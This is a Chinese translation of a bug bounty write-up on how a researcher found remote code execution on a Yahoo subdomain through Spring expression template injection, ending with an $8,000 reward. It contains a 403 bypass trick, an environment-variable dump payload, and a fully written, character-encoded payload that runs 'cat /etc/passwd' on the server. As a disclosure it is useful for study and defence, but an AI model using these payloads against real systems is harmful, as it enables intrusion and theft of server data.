挖洞經驗 | 通過SPRING ENGINE SSTI導致的雅虎RCE

最近在漏洞挖掘過程中發現了一個漏洞,之後提交給了雅虎的bug賞金計劃,這篇文章我就來分享下是如何挖掘到此漏洞的。

在測試Web應用程序的安全性時,信息收集是查找可能存在漏洞的Web資產的重要組成部分,因爲可以發現可能會增加攻擊面的子域,目錄和其他資產。我首先使用在線工具,如shodan.io,censys.io,crt.sh,dnsdumpster.com,以及github上的腳本,如dirsearch,aquatone,massdns等這些工具進行子域名查找,在使用這些工具後,我發現了子域名 – datax.yahoo.com。這個子域名引起了我的興趣,因爲訪問子域名根目錄將重定向到https://datax.yahoo.com/swagger-ui.html – 並在頁面隨後顯示403錯誤。

image.png然後我運行dirsearch腳本快速地掃描目錄,以此來嘗試發現網站隱藏的目錄。我不確定具體結果是什麼,但我注意到在向網址添加空格字符時,狀態代碼已從403更改爲200,https://datax.yahoo.com/%20/,然後我看到了以下頁面。

image.png

發現是swigger,經過查找發現swagger ui的主頁上有api文檔,並詳細列出了所有可用的接口和請求參數。示例:https://dev.fitbit.com/build/reference/web-api/explore/

從這裏開始,我作爲未經身份驗證的用戶,想測試一些API接口,以此發現潛在的漏洞。經過幾個接口測試後,我遇到了以下接口,它顯示了這個white label error頁面,其中我輸入的參數值卻出現在錯誤響應中:

image.png注意到輸入內容顯示在頁面中,隨後我嘗試了一些XSS payload,卻無法在客戶端成功執行javascript。最後當輸入payload爲${7*7}時,我驚訝地發現算術表達式已在響應中成功執行計算了。

image.png

令我驚訝的原因是因爲乘法表達式已執行,以及語法中“$”字符竟然成功執行了表達式。這通常表明在處理表達式時服務器端使用了某種模板引擎。經過一 番研究後,我對這臺主機可能使用的模板引擎進行了一些猜測。在呈現Yahoo!到目前爲止我發現的所有情況之後 ,我收到了雅虎安全團隊的確認,使用的模板是Spring Engine Template,他們要求我試着看看我還能做些什麼來進一步利用它。由於我只能用這個做基礎數學,他們想看看我是否可以從服務器中提取一些數據,以便他 們充分評估漏洞影響。最後發現${T(java.lang.System).getenv()} 可用於檢索系統的環境變量。

image.png然 後,我嘗試使用.exec方法執行命令“cat etc/passwd”,以使用.exec方法演示能夠執行命令從服務器提取數據。payload: ${T(java.lang.Runtime).getRuntime().exec(‘cat etc/passwd’)},但是該命令原樣輸出在響應中,並且未執行。我不確定爲什麼它不起作用,但後來遇到了另一位研究員的博客文章 – http://deadpool.sh/2017/RCE-Springs/,他在那裏使用Java的concat()方法來組合與命令中使用的字符相關聯的ASCII值。下面的最終payload用於成功執行命令cat etc/passwd:

 

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

 

我不想包含能透露此文件內容的截圖。但爲了演示,我將使用相同的技術顯示執行“id”命令的輸出:

image.png

到目前爲止,對於雅虎的bug賞金流程我有了很好的經驗,並會根據他們處理,解決和評估提交的報告的方式向其他研究人員推薦這個bug提交流程。這個問題的總金額在驗證問題時爲500美元,在解決後幾周爲7,500美元,總金額爲8,000美元。

謝謝你的閱讀。

參考來源

https://nvd.nist.gov/vuln/detail/CVE-2016-4977

http://secalert.net/#cve-2016-4977

http://deadpool.sh/2017/RCE-Springs/

自定義white label error頁面

https://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html

翻譯來源

 

https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/

*本文作者:生如夏花,轉載請註明來自FreeBuf.COM

生如夏花

生如夏花 14 篇文章 等級: 5

|

|

發表評論

已有 3 條評論

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章